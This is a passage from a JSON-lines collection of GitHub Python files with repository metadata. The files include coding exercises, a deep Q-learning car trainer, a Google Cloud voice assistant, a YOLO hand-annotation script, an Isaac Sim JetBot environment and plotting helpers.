added\")\r\n\r\n\r\ndef remove(lst, value):\r\n if value not in lst:\r\n print(\"Card not found\")\r\n else:\r\n lst.remove(value)\r\n print(\"Card successfully removed\")\r\n\r\n\r\ndef remove_at(lst, index):\r\n if 0 <= index < len(lst):\r\n lst.pop(index)\r\n print('Card successfully removed')\r\n else:\r\n print('Index out of range')\r\n\r\n\r\ndef insert(lst, index, value):\r\n if 0 <= index < len(lst):\r\n if value in lst:\r\n print(\"Card is already added\")\r\n else:\r\n lst.insert(index, value)\r\n print(\"Card successfully added\")\r\n else:\r\n print('Index out of range')\r\n\r\n\r\ncards = [x for x in input().split(', ')]\r\nn = int(input())\r\n\r\nfor i in range(n):\r\n command = input().split(', ')\r\n if command[0] == \"Add\":\r\n add(cards, command[1])\r\n if command[0] == \"Remove\":\r\n remove(cards, command[1])\r\n if command[0] == \"Remove At\":\r\n remove_at(cards, int(command[1]))\r\n if command[0] == \"Insert\":\r\n insert(cards, int(command[1]), command[2])\r\n\r\nprint(', '.join(cards))\r\n","repo_name":"vlzahariev/Fundamentals","sub_path":"for_cycle_with_functions.py","file_name":"for_cycle_with_functions.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25994735466","text":"#!/usr/bin/env python\n__doc__ = \"\"\"\n\nConfigData classes.\n\nKisuk Lee , 2016\n\"\"\"\n\nimport copy\nimport numpy as np\n\nimport emio\nfrom tensor import TensorData\nfrom transform import *\nfrom utils import *\n\nclass ConfigData(TensorData):\n \"\"\"\n ConfigData class.\n \"\"\"\n\n def __init__(self, config, section):\n \"\"\"\n Build data from a ConfiParser object generated by Parser's\n parse_dataset method.\n \"\"\"\n # Preprocessing.\n data, fov, offset = self._prepare_data(config, section)\n\n # Initialize TensorData.\n super(ConfigData, self).__init__(data, fov=fov, offset=offset)\n\n ####################################################################\n ## Private Helper Methods\n ####################################################################\n\n def _prepare_data(self, config, section):\n \"\"\"Prepare data from config.\"\"\"\n assert config.has_section(section)\n\n # Either read data from the specified file, or generate data with the\n # specified shape and filler.\n if config.has_option(section, 'file'):\n data = emio.imread(config.get(section, 'file'))\n elif config.has_option(section, 'shape'):\n shape = config.get(section, 'shape')\n # Ensure that shape is tuple.\n shape = tuple(eval(str(shape)))\n if config.has_option(section, 'filler'):\n filler = eval(config.get(section, 'filler'))\n else:\n filler = {'type':'zero'}\n data = fill_data(shape, filler=filler)\n else:\n raise RuntimeError('Invalid data section [%s].' % section)\n\n # Field of View (patch size).\n if config.has_option(section, 'fov'):\n fov = config.get(section, 'fov')\n # Ensure that fov is tuple.\n fov = tuple(eval(str(fov)))\n else:\n fov = (0,0,0)\n\n # Offset.\n if config.has_option(section, 'offset'):\n offset = config.get(section, 'offset')\n # Ensure that offset is tuple.\n offset = tuple(eval(str(offset)))\n else:\n offset = (0,0,0)\n\n # List of global preprocessing.\n if config.has_option(section, 'preprocess'):\n preprocess = config.get(section, 'preprocess').split('\\n')\n preprocess = [eval(x) for x in preprocess]\n else:\n preprocess = list()\n\n # Check validity of each preprocessing.\n for pp in preprocess:\n assert isinstance(pp, dict)\n assert 'type' in pp\n\n # Perform preprocessing seequentially.\n data = check_tensor(data)\n for pp in preprocess:\n data = tensor_func.evaluate(data, pp)\n\n return data, fov, offset\n\n\nclass ConfigLabel(ConfigData):\n \"\"\"\n ConfigLabel class.\n \"\"\"\n\n def __init__(self, config, section):\n \"\"\"Build data from config.\"\"\"\n # Initialize ConfigData.\n super(ConfigLabel, self).__init__(config, section)\n\n # Transformation\n self._transformation(config, section)\n\n def get_transform(self):\n return copy.deepcopy(self._transform)\n\n ####################################################################\n ## Private Helper Methods\n ####################################################################\n\n def _transformation(self, config, section):\n \"\"\"\n TODO(kisuk): Documentation.\n \"\"\"\n # List of local transformation.\n if config.has_option(section, 'transform'):\n transform = eval(config.get(section, 'transform'))\n else:\n transform = None\n\n # Check the validity of each transformation.\n if transform is not None:\n assert isinstance(transform, dict)\n assert 'type' in transform\n\n self._transform = transform\n","repo_name":"torms3/DataProvider","sub_path":"python/config_data.py","file_name":"config_data.py","file_ext":"py","file_size_in_byte":3868,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"32992307721","text":"def main():\r\n N,M = map(int,input().split())\r\n l = list(map(int,input().split()))\r\n binary(l,M)\r\n\r\ndef binary(l,M):\r\n start = max(l)\r\n end = sum(l)\r\n while start <= end:\r\n count = 1\r\n total = 0\r\n mid = (start+end)//2\r\n for i in l:\r\n if total + i > mid:\r\n count +=1\r\n total = 0\r\n total += i\r\n if count <= M:\r\n answer = mid\r\n end = mid - 1\r\n else:\r\n start = mid + 1\r\n print(answer)\r\nmain()","repo_name":"kimdahee7/CodingTest_Python","sub_path":"백준/Silver/2343. 기타 레슨/기타 레슨.py","file_name":"기타 레슨.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30365463599","text":"import numpy as np\r\nfrom neural_network import neural_network\r\nfrom self_driving_car import game\r\nimport random\r\n\r\nNUM_INPUT = 3\r\ngamma = 0.9\r\n\r\n\r\n\r\ndef deep_q_train(model, params):\r\n epsilon = 1\r\n batch_size = params[\"batchSize\"]\r\n buffer = params[\"buffer\"]\r\n nn_params = params[\"nn\"]\r\n t = 0\r\n game_state = game.Game()\r\n\r\n observe = 500 # number of frames it is going to observe\r\n training_frames = 1000 # number of frames it is going to play\r\n # will need to increase these frames for better result\r\n replay = []\r\n max_car_distance = 0\r\n car_distance = 0\r\n _,state = game_state.frame_step((2))\r\n # first observe then train\r\n while t < training_frames:\r\n print(t)\r\n t += 1\r\n #reset weights of neural network\r\n # model.compile(loss='mse', optimizer=rms) \r\n car_distance+=1\r\n #initial state of the car \r\n \r\n \r\n #All possible actions from that state\r\n qval = model.predict(state, batch_size=1)\r\n\r\n if (random.random() < epsilon):\r\n action = np.random.randint(0,3) \r\n #take random action choice: 0 - up, 1 - down, 2 - left, 3 - right\r\n else:\r\n #Take maximum value of the Q values\r\n action = (np.argmax(qval))\r\n\r\n #Take action, observe new state S' and record it\r\n reward, new_state = game_state.frame_step(action)\r\n\r\n #Experience replay storage\r\n if (len(replay) < buffer): \r\n replay.append((state, action, reward, new_state))\r\n else: #if buffer full, overwrite old values\r\n replay.pop(0)\r\n replay.append((state, action, reward, new_state))\r\n\r\n#Initially, we want the car to take random actions to familiarize itself with the environment \r\n#We use the neural network only after a certain number of frames, in this case \"observe\" number of frames\r\n#Decrement epsilon only after \"observe\" number of frames to eventually take the help of neural network\r\n if (t > observe):\r\n decrement = 1/training_frames\r\n if epsilon > 0.1: #We set the lower cap for epsilon as 0.1\r\n epsilon -= decrement\r\n minibatch = random.sample(replay, batch_size)\r\n X_train, y_train = minibatch_process(model, minibatch)\r\n model.fit(X_train, y_train, batch_size=batch_size, epochs=1, verbose=1)\r\n state = new_state\r\n if reward==-500:\r\n print(car_distance)\r\n if car_distance > max_car_distance:\r\n max_car_distance = car_distance\r\n if t % 250 == 0:\r\n model.save_weights('saved-models/' + filename + '-' +\r\n str(t) + '.h5',\r\n overwrite=True)\r\n print((\"Saving model %s - %d\" % (filename, t)))\r\n # train the game using the finding of the observation, update the weights, and keep observing\r\n\r\ndef minibatch_process(model, minibatch):\r\n X_train = [] # state s of each memory\r\n y_train = [] # updates target values from minibatch\r\n for memory in minibatch:\r\n # Get max_Q(S',a)\r\n old_state, action, reward, new_state = memory\r\n old_qval = model.predict(old_state.reshape(1, NUM_INPUT), batch_size=1)\r\n newQ = model.predict(new_state.reshape(1, NUM_INPUT), batch_size=1)\r\n maxQ = np.max(newQ)\r\n y = np.zeros((1, 3))\r\n y[:] = old_qval[:]\r\n if reward == -500: # non-terminal state\r\n update = (reward + (gamma * maxQ))\r\n else: # terminal state\r\n update = reward\r\n y[0][action] = update\r\n X_train.append(old_state.reshape(NUM_INPUT, ))\r\n y_train.append(y.reshape(3, ))\r\n\r\n X_train = np.array(X_train)\r\n y_train = np.array(y_train)\r\n\r\n \r\n return X_train,y_train\r\n\r\n\r\nif __name__ == \"__main__\":\r\n nn_param = [164, 150]\r\n params = {\r\n \"batchSize\": 100,\r\n \"buffer\": 500,\r\n \"nn\": nn_param\r\n }\r\n\r\n model = neural_network(NUM_INPUT, nn_param)\r\n deep_q_train(model, params)\r\n # minibatch_process(model,minibatch,params)\r\n","repo_name":"gaurav2699/ACM-Self_Driving_car","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11344406292","text":"# imports\nimport io\nimport os\nfrom extra import *\nimport dialogflow_v2 as dialogflow\nfrom rec import Recorder\nimport simpleaudio as sa\n\n# Imports the Google Cloud client library\nfrom google.cloud import speech\nfrom google.cloud.speech import enums\nfrom google.cloud.speech import types\nfrom google.cloud import texttospeech\nfrom google.api_core.exceptions import InvalidArgument\n\ncredential_path = \"gamesvoiceassistant-63718bb5249e.json\"\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = credential_path\n\n\nclass VoiceAssistant:\n _name = 'Daisy'\n _key_word = 'hi ' + _name # string\n _shutdown_key_word = 'bye ' + _name # string\n _kw_heard = False # boolean\n _chat_commands = ['creators', 'favorite food', 'Default Welcome Intent', 'advice', 'welcome back'] # add here everything that is chat only\n _game_commands = None # list\n _status_dict = {'off': 'red', 'on': 'green', 'listen': 'yellow', 'record': 'orange', 'speak': 'blue'}\n _led_update = None\n _my_status = 'red' # color as string\n _advice_counter = 0 # num as int\n _recorder = None # recorder class\n\n _DIALOGFLOW_PROJECT_ID = 'gamesvoiceassistant'\n _DIALOGFLOW_LANGUAGE_CODE = 'en'\n _SESSION_ID = 'me'\n\n _language_code ='en-US'\n _voice_gender = texttospeech.enums.SsmlVoiceGender.FEMALE\n\n def __init__(self, game, gender_type=None, name=None, led_func=None):\n self._recorder = Recorder(led_func)\n self._led_update = led_func\n self._game_commands = game.get_info('web_elem').keys()\n self.gender(gender_type)\n if name is not None:\n self._name = name\n if led_func is not None:\n self._led_update(self._status_dict['off'])\n\n # input - gender_type as string\n # do - set gender based on input\n def gender(self,gender_type):\n if gender_type is not None:\n # voice gender (\"neutral\", \"FEMALE\", \"MALE\")\n if gender_type == 'va':\n self._voice_gender = texttospeech.enums.SsmlVoiceGender.FEMALE\n elif gender_type == 'opponent':\n self._voice_gender = texttospeech.enums.SsmlVoiceGender.NEUTRAL\n else:\n self._voice_gender = texttospeech.enums.SsmlVoiceGender.MALE\n\n # do - call status_change to on\n def open(self):\n massage = 'Hello everybody, My name is ' + self._name\n return self.status_change(True, 'on', massage)\n\n # do - call status_change to off\n def close(self):\n massage = 'Goodbye'\n return self.status_change(False, 'off', massage)\n\n # input isOn as boolean, key as string, massage as string\n # do - set keyword to off, set key, say massage\n def status_change(self, isOn, key, massage):\n self._kw_heard = isOn\n self._led_update(self._status_dict[key])\n self.ack(massage)\n return True\n\n # input - text as string\n # do - print as say text\n def ack(self, text):\n if len(text) < 150: # if text is short\n print('Voice Assistance said: ' + text)\n self.tts(text)\n else: # if text is a long one\n text = text.splitlines() # split string into list of string\n for line in text:\n print('Voice Assistance said: ' + line)\n self.tts(line)\n\n # do - inc advice counter, and run advice if needed\n def update_advice_counter(self):\n self._advice_counter += 1\n if self._advice_counter % 10 == 0:\n self.give_advice()\n\n # do - call for advice from dialog flow\n def give_advice(self):\n self.ack('Running auto advice')\n self.dialog_flow_function('advice')\n\n # input - text as list of strings\n # do - say all the strings in list\n def read_log(self, text):\n if text is not None:\n for line in text:\n self.ack(line)\n\n # do - call for recorder listen, set keyword_heard to True/False\n def listen(self):\n text = None\n while text is None:\n self._recorder.listen() # create sound file\n text = self.stt() # turn sound file into string\n if text is not None: # user said something\n if self._shutdown_key_word in text: # user want to turn off voice assistant\n self.close()\n else:\n if self._kw_heard:\n return self.dialog_flow_function(text)\n elif self._key_word in text: # user want to turn on voice assistant\n self.open()\n text = None\n\n # do - transfer speech to text\n @staticmethod\n def stt():\n string = []\n client = speech.SpeechClient()\n # The name of the audio file to transcribe\n file_name = os.path.join(os.path.dirname(__file__), 'RECORDING.wav')\n\n # Loads the audio into memory\n with io.open(file_name, 'rb') as audio_file:\n content = audio_file.read()\n audio = types.RecognitionAudio(content=content)\n\n config = types.RecognitionConfig(\n encoding=enums.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=16000,\n language_code='en-US')\n\n # Detects speech in the audio file\n response = client.recognize(config, audio)\n\n for result in response.results:\n string = result.alternatives[0].transcript\n\n # print what user said\n if len(string) > 0:\n print('User said: ' + string)\n return string\n\n # print we didnt got anything on the recording\n print('Nothing on the recording')\n return None\n\n # input - massage as string\n # do - transfer text to speech and play it\n def tts(self, massage):\n client = texttospeech.TextToSpeechClient()\n # Set the text input to be synthesized\n synthesis_input = texttospeech.types.SynthesisInput(text=massage)\n\n # Build the voice request, select the language code (\"en-US\") and the ssml\n voice = texttospeech.types.VoiceSelectionParams(\n language_code=self._language_code,\n ssml_gender=texttospeech.enums.SsmlVoiceGender.FEMALE)\n\n # Select the type of audio file you want returned\n audio_config = texttospeech.types.AudioConfig(\n audio_encoding=texttospeech.enums.AudioEncoding.LINEAR16)\n\n # Perform the text-to-speech request on the text input with the selected\n # voice parameters and audio file type\n response = client.synthesize_speech(synthesis_input, voice, audio_config)\n\n self._led_update(self._status_dict['speak']) # call for voice assistant led change\n self.play(response.audio_content) # play sound\n\n # input - text as string\n # output dict [response_text / response_intent / response_parameters] or None\n # do - send text to dialog flow system and get proper response\n def dialog_flow_function(self, text):\n # initialize dialog flow client\n session_client = dialogflow.SessionsClient()\n session = session_client.session_path(self._DIALOGFLOW_PROJECT_ID, self._SESSION_ID)\n text_input = dialogflow.types.TextInput(text=text, language_code=self._DIALOGFLOW_LANGUAGE_CODE)\n query_input = dialogflow.types.QueryInput(text=text_input)\n\n try:\n response = session_client.detect_intent(session=session, query_input=query_input)\n except InvalidArgument:\n print('Error at dialog_flow_function when trying to get response')\n raise\n\n # split response to variables\n response_intent = response.query_result.intent.display_name\n response_text = response.query_result.fulfillment_text\n response_parameters = self.get_parameters(response.query_result.parameters)\n response_confidence = response.query_result.intent_detection_confidence\n #print(response)\n\n # make sure the we confident on chosen path\n #if response_confidence < 0.5:\n #return self.dialog_flow_function('fallback')\n\n # call for fallow up answer\n if '?' in response_text:\n self.ack(response_text)\n return self.listen()\n\n # do action on game\n elif response_intent in self._game_commands:\n return {'response_text': response_text, 'command': response_intent, 'parameters': response_parameters}\n\n # chat with voice assistant\n elif response_intent in self._chat_commands:\n self.ack(response_text)\n return None\n\n # input - response as dict\n # do - make and return parameters dict\n @staticmethod\n def get_parameters(response):\n parameters = dict()\n for key in response.keys():\n parameters[key] = response[key]\n return parameters\n\n # input - sound as audio_content\n # do - play sound\n @staticmethod\n def play(sound):\n fs = 24000 # 44100 samples per second\n # Start playback\n play_obj = sa.play_buffer(sound, 1, 2, fs)\n # Wait for playback to finish before exiting\n play_obj.wait_done()\n\n # input - result as boolean, msg as string\n # do - ack massage\n def result_of_command(self, result, msg):\n bad_massage = 'Sorry, could not run that command'\n self.ack(msg)\n if result is False:\n print(bad_massage)\n","repo_name":"liron7722/GamesVoiceAssistant","sub_path":"Files/VoiceAssistant.py","file_name":"VoiceAssistant.py","file_ext":"py","file_size_in_byte":9330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5609988170","text":"import time\nimport math\nfrom primePy import primes\n\n# Baustelle! Funktioniert noch nicht!\n\ndef primzahlen(bis):\n max_faktor = math.ceil(math.sqrt(bis))\n ergebnis = []\n gestrichen = [False] * bis\n \n for i in range(2, max_faktor+1):\n if not gestrichen[i]:\n for j in range(i*2, bis, i):\n gestrichen[j] = True\n \n for i in range(2, bis):\n if not gestrichen[i]:\n ergebnis.append(i)\n return ergebnis\n\ndef primfaktoren(zahl):\n ergebnis = []\n rest = zahl\n kandidaten = primzahlen(math.ceil(math.sqrt(zahl))+1)\n kandidat = kandidaten.pop(0)\n \n while(True):\n if (rest % kandidat == 0):\n ergebnis.append(kandidat)\n rest = rest // kandidat\n else:\n kandidat = kandidaten.pop(0)\n if len(kandidaten) == 0:\n break\n \n return ergebnis\n\n# Vergleich Primzahlen\nprint(\"Primzahlen\")\ngrenze = 100000\n\nt1 = time.time()\nprimzahlenPrimePy = primes.upto(grenze)\nt2 = time.time()\nprint(\"primePy:\", t2-t1)\n\nt1 = time.time()\nprimzahlenEigenbau = primzahlen(grenze)\nt2 = time.time()\nprint(\"Eigenbau:\", t2-t1)\n\nfor i in range(len(primzahlenPrimePy)):\n if (primzahlenPrimePy[i] != primzahlenEigenbau[i]):\n print(\"Die Ergebnisse sind nicht gleich!\")\n \n# Vergleich Primfaktoren\nprint(\"Primfaktoren\")\nzahl = 12345678438949\n\nt1 = time.time()\nprimfaktorenPrimePy = primes.factors(zahl)\nt2 = time.time()\nprint(\"primePy:\", t2-t1)\nprint(primfaktorenPrimePy)\n\nt1 = time.time()\nprimfaktorenEigenbau = primfaktoren(zahl)\nt2 = time.time()\nprint(\"Eigenbau:\", t2-t1)\nprint(primfaktorenEigenbau)\n\nfor i in range(len(primfaktorenPrimePy)):\n if (primfaktorenPrimePy[i] != primfaktorenEigenbau[i]):\n print(\"Die Ergebnisse sind nicht gleich!\")\n","repo_name":"MaschinenNah/oc2023","sub_path":"04zahlentheorie/04_vergleich.py","file_name":"04_vergleich.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14205845366","text":"import argparse\nimport glob\nimport os\nimport os.path\n\nimport cv2\n\nfrom yolo import YOLO\n\nsave_path = '../../label_directory_name' # location of folder where labels will be stored\n\nap = argparse.ArgumentParser()\nap.add_argument('-i', '--images', default=\"images\", help='Path to images or image file')\nap.add_argument('-n', '--network', default=\"normal\", choices=[\"normal\", \"tiny\", \"prn\", \"v4-tiny\"],\n help='Network Type')\nap.add_argument('-d', '--device', default=0, help='Device to use')\nap.add_argument('-s', '--size', default=416, help='Size for yolo')\nap.add_argument('-c', '--confidence', default=0.25, help='Confidence for yolo')\nargs = ap.parse_args()\n\nif args.network == \"normal\":\n print(\"loading yolo...\")\n yolo = YOLO(\"models/cross-hands.cfg\", \"models/cross-hands.weights\", [\"hand\"])\nelif args.network == \"prn\":\n print(\"loading yolo-tiny-prn...\")\n yolo = YOLO(\"models/cross-hands-tiny-prn.cfg\", \"models/cross-hands-tiny-prn.weights\", [\"hand\"])\nelif args.network == \"v4-tiny\":\n print(\"loading yolov4-tiny-prn...\")\n yolo = YOLO(\"models/cross-hands-yolov4-tiny.cfg\", \"models/cross-hands-yolov4-tiny.weights\", [\"hand\"])\nelse:\n print(\"loading yolo-tiny...\")\n yolo = YOLO(\"models/cross-hands-tiny.cfg\", \"models/cross-hands-tiny.weights\", [\"hand\"])\n\nyolo.size = int(args.size)\nyolo.confidence = float(args.confidence)\n\nprint(\"extracting tags for each image...\")\nif args.images.endswith(\".txt\"):\n with open(args.images, \"r\") as myfile:\n lines = myfile.readlines()\n files = map(lambda x: os.path.join(os.path.dirname(args.images), x.strip()), lines)\nelse:\n files = sorted(glob.glob(\"%s/*.jpg\" % args.images))\n\nconf_sum = 0\ndetection_count = 0\n\nfor file in files:\n print(file)\n mat = cv2.imread(file)\n\n width, height, inference_time, results = yolo.inference(mat)\n\n print(\"%s in %s seconds: %s classes found!\" %\n (os.path.basename(file), round(inference_time, 2), len(results)))\n\n output = []\n\n cv2.namedWindow('image', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('image', 720, 640)\n\n # declaring various lists\n #lx, ly, lw, lh, lc = ([],) * 5\n handclass = 0\n for detection in results:\n id, name, confidence, x, y, w, h = detection\n # x -> top left x-coordinate\n # y - > to-left y-coordinate\n # w -> bounding box width\n # h -> bounding box height\n # wimg -> width of img\n # himg -> height of image\n\n cx = x + (w / 2)\n cy = y + (h / 2)\n\n conf_sum += confidence\n detection_count += 1\n\n # draw a bounding box rectangle and label on the image\n color = (185, 15, 10)\n cv2.rectangle(mat, (x, y), (x + w, y + h), color, 10) # thickness of rectangle = 10px\n text = \"%s (%s)\" % (name, round(confidence, 2))\n cv2.putText(mat, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,\n 5, color, 10)\n\n print(\"%s with %s confidence\" % (name, round(confidence, 2)))\n\n\n\n # cv2.imwrite(\"export.jpg\", mat)\n\n if len(results)>0:\n wimg = 1280\n himg = 736\n w1 = w / wimg\n h1 = h / himg\n ww1 = results[0][5]\n hh1 = results[0][6]\n xx1 = (results[0][3] + (ww1 / 2)) / wimg\n yy1 = (results[0][4] + (hh1 / 2)) / himg\n wf1 = ww1 / wimg\n hf1 = hh1 / himg\n fname1 = os.path.basename(file)\n fname2 = os.path.join(save_path,fname1)\n file_name = fname2.replace('jpg', '') + \"txt\" # saving the label text file of the image\n\n line1 = str(handclass) + \" \" + str(xx1) + \" \" + str(yy1) + \" \" + str(wf1) + \" \" + str(hf1)\n with open(file_name, 'w+') as f:\n f.write(line1)\n\n print('results', results)\n\n #print(results[1][1])\n\n# to show the annotated images simultaneously\n\"\"\"\n # show the output image\n cv2.imshow('image', mat)\n print(mat.shape)\n cv2.waitKey(0)\n\"\"\"\n\nprint(\"AVG Confidence: %s Count: %s\" % (round(conf_sum / detection_count, 2), detection_count))\ncv2.destroyAllWindows()\n","repo_name":"ParthSaboo007/Hand-Detection-Yolov5","sub_path":"automated_annotation_script.py","file_name":"automated_annotation_script.py","file_ext":"py","file_size_in_byte":4011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18648068471","text":"# Question 2 - Find Pairs\n# LeetCode 1 - Two Sum \n# Time complexity: O(n)\n# Space complexity: O(n)\n\ndef two_sum(nums, target):\n seen = {}\n \n for i, num in enumerate(nums):\n complement = target - num\n \n if complement in seen:\n return [seen[complement], i]\n \n seen[num] = i\n \nnums = [2, 7, 11, 15]\ntarget = 9\nindices = two_sum(nums, target)\nprint(f\"Indices of the two numbers are: {indices}\")","repo_name":"francisco-oro/DataStructures-Algorithms","sub_path":"src/2_arrays_and_lists/coding_exercises/two_sum/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74462493264","text":"import gym\nfrom gym import spaces\nimport numpy as np\nimport math\nimport carb\n\n\nclass JetBotEnv(gym.Env):\n metadata = {\"render.modes\": [\"human\"]}\n\n def __init__(\n self,\n skip_frame=1,\n physics_dt=1.0 / 60.0,\n rendering_dt=1.0 / 60.0,\n max_episode_length=256,\n seed=0,\n headless=True,\n ) -> None:\n from omni.isaac.kit import SimulationApp\n\n self.headless = headless\n self._simulation_app = SimulationApp({\"headless\": self.headless, \"anti_aliasing\": 0})\n self._skip_frame = skip_frame\n self._dt = physics_dt * self._skip_frame\n self._max_episode_length = max_episode_length\n self._steps_after_reset = int(rendering_dt / physics_dt)\n from omni.isaac.core import World\n from omni.isaac.wheeled_robots.robots import WheeledRobot\n from omni.isaac.wheeled_robots.controllers.differential_controller import DifferentialController\n from omni.isaac.core.objects import VisualCuboid\n from omni.isaac.core.utils.nucleus import get_assets_root_path\n\n self._my_world = World(physics_dt=physics_dt, rendering_dt=rendering_dt, stage_units_in_meters=1.0)\n self._my_world.scene.add_default_ground_plane()\n assets_root_path = get_assets_root_path()\n if assets_root_path is None:\n carb.log_error(\"Could not find Isaac Sim assets folder\")\n return\n jetbot_asset_path = assets_root_path + \"/Isaac/Robots/Jetbot/jetbot.usd\"\n self.jetbot = self._my_world.scene.add(\n WheeledRobot(\n prim_path=\"/jetbot\",\n name=\"my_jetbot\",\n wheel_dof_names=[\"left_wheel_joint\", \"right_wheel_joint\"],\n create_robot=True,\n usd_path=jetbot_asset_path,\n position=np.array([0, 0.0, 0.03]),\n orientation=np.array([1.0, 0.0, 0.0, 0.0]),\n )\n )\n self.jetbot_controller = DifferentialController(name=\"simple_control\", wheel_radius=0.0325, wheel_base=0.1125)\n self.goal = self._my_world.scene.add(\n VisualCuboid(\n prim_path=\"/new_cube_1\",\n name=\"visual_cube\",\n position=np.array([0.60, 0.30, 0.05]),\n size=0.1,\n color=np.array([1.0, 0, 0]),\n )\n )\n self.seed(seed)\n self.reward_range = (-float(\"inf\"), float(\"inf\"))\n gym.Env.__init__(self)\n self.action_space = spaces.Box(low=-1, high=1.0, shape=(2,), dtype=np.float32)\n self.observation_space = spaces.Box(low=float(\"inf\"), high=float(\"inf\"), shape=(16,), dtype=np.float32)\n\n self.max_velocity = 1\n self.max_angular_velocity = math.pi\n self.reset_counter = 0\n return\n\n def get_dt(self):\n return self._dt\n\n def step(self, action):\n previous_jetbot_position, _ = self.jetbot.get_world_pose()\n # action forward velocity , angular velocity on [-1, 1]\n raw_forward = action[0]\n raw_angular = action[1]\n\n # we want to force the jetbot to always drive forward\n # so we transform to [0,1]. we also scale by our max velocity\n forward = (raw_forward + 1.0) / 2.0\n forward_velocity = forward * self.max_velocity\n\n # we scale the angular, but leave it on [-1,1] so the\n # jetbot can remain an ambiturner.\n angular_velocity = raw_angular * self.max_angular_velocity\n\n # we apply our actions to the jetbot\n for i in range(self._skip_frame):\n self.jetbot.apply_wheel_actions(\n self.jetbot_controller.forward(command=[forward_velocity, angular_velocity])\n )\n self._my_world.step(render=False)\n\n observations = self.get_observations()\n info = {}\n done = False\n if self._my_world.current_time_step_index - self._steps_after_reset >= self._max_episode_length:\n done = True\n goal_world_position, _ = self.goal.get_world_pose()\n current_jetbot_position, _ = self.jetbot.get_world_pose()\n previous_dist_to_goal = np.linalg.norm(goal_world_position - previous_jetbot_position)\n current_dist_to_goal = np.linalg.norm(goal_world_position - current_jetbot_position)\n reward = previous_dist_to_goal - current_dist_to_goal\n if current_dist_to_goal < 0.1:\n done = True\n return observations, reward, done, info\n\n def reset(self):\n self._my_world.reset()\n self.reset_counter = 0\n # randomize goal location in circle around robot\n alpha = 2 * math.pi * np.random.rand()\n r = 1.00 * math.sqrt(np.random.rand()) + 0.20\n self.goal.set_world_pose(np.array([math.sin(alpha) * r, math.cos(alpha) * r, 0.05]))\n observations = self.get_observations()\n return observations\n\n def get_observations(self):\n self._my_world.render()\n jetbot_world_position, jetbot_world_orientation = self.jetbot.get_world_pose()\n jetbot_linear_velocity = self.jetbot.get_linear_velocity()\n jetbot_angular_velocity = self.jetbot.get_angular_velocity()\n goal_world_position, _ = self.goal.get_world_pose()\n return np.concatenate(\n [\n jetbot_world_position,\n jetbot_world_orientation,\n jetbot_linear_velocity,\n jetbot_angular_velocity,\n goal_world_position,\n ]\n )\n\n def render(self, mode=\"human\"):\n return\n\n def close(self):\n self._simulation_app.close()\n return\n\n def seed(self, seed=None):\n self.np_random, seed = gym.utils.seeding.np_random(seed)\n np.random.seed(seed)\n return [seed]\n","repo_name":"swadaskar/Isaac_Sim_Folder","sub_path":"standalone_examples/api/omni.isaac.jetbot/stable_baselines_example/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30122615783","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef draw_reconstructions(ins, outs, shape_in):\n plt.figure(figsize=(8, 12*4))\n for i in range(10):\n\n plt.subplot(10, 4, 4*i + 1)\n plt.imshow(ins[i].reshape(shape_in), vmin=0, vmax=1, interpolation=\"nearest\")\n plt.subplot(10, 4, 4*i + 2)\n plt.imshow(outs[i][0:784].reshape(shape_in), vmin=0, vmax=1, interpolation=\"nearest\")\n plt.tight_layout()\n plt.show()\n \ndef plot_reconstructions(ins, outs):\n plt.figure(figsize=(8, 20))\n for i in range(5):\n\n plt.subplot(5, 2, (i+1)*2 - 1)\n plt.plot(np.linspace(0, 1, num=len(ins[i])), ins[i])\n #plt.title(\"Test input\")\n #plt.subplot(5, 2, (i+1)*2)\n plt.plot(np.linspace(0, 1, num=len(outs[i])), outs[i])\n #plt.title(\"Reconstruction\")\n plt.tight_layout()\n plt.show()\n\ndef scatterTsne(results, y, cs='bgrcmykw'):\n colors = np.array([x for x in cs])\n plt.figure(figsize=(10, 8))\n plt.scatter(results[:, 0], results[:, 1], color=colors[y])\n plt.show()\n\ndef draw_graph(ins, shape_in):\n plt.figure(figsize=(8, 12*4))\n for i in range(10):\n plt.subplot(10, 4, 4*i + 1)\n plt.imshow(ins[i].reshape(shape_in), vmin=0, vmax=1, interpolation=\"nearest\")\n plt.tight_layout()\n plt.show()\n \ndef plotCoverage(coverage):\n x = np.linspace(0, 1, num=len(coverage))\n plt.plot(x, coverage)\n plt.show()","repo_name":"jantomlj/Experimenting-with-signal-clustering","sub_path":"plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20978528375","text":"# -*- coding: utf-8 -*-\nimport qrcode\nimport os\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport cv2\nfrom pyzbar.pyzbar import decode\nimport random\nimport sys\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\nimport threading\nfrom IPython import get_ipython\nfrom IPython.display import display\nimport imutils\n# CAMERA_PORT = 0\n\ndef init_camera_settings(settings):\n \n return rawCapture\n\ndef make_qr_code(data, type):\n return qrcode.make(data)\n\ndef 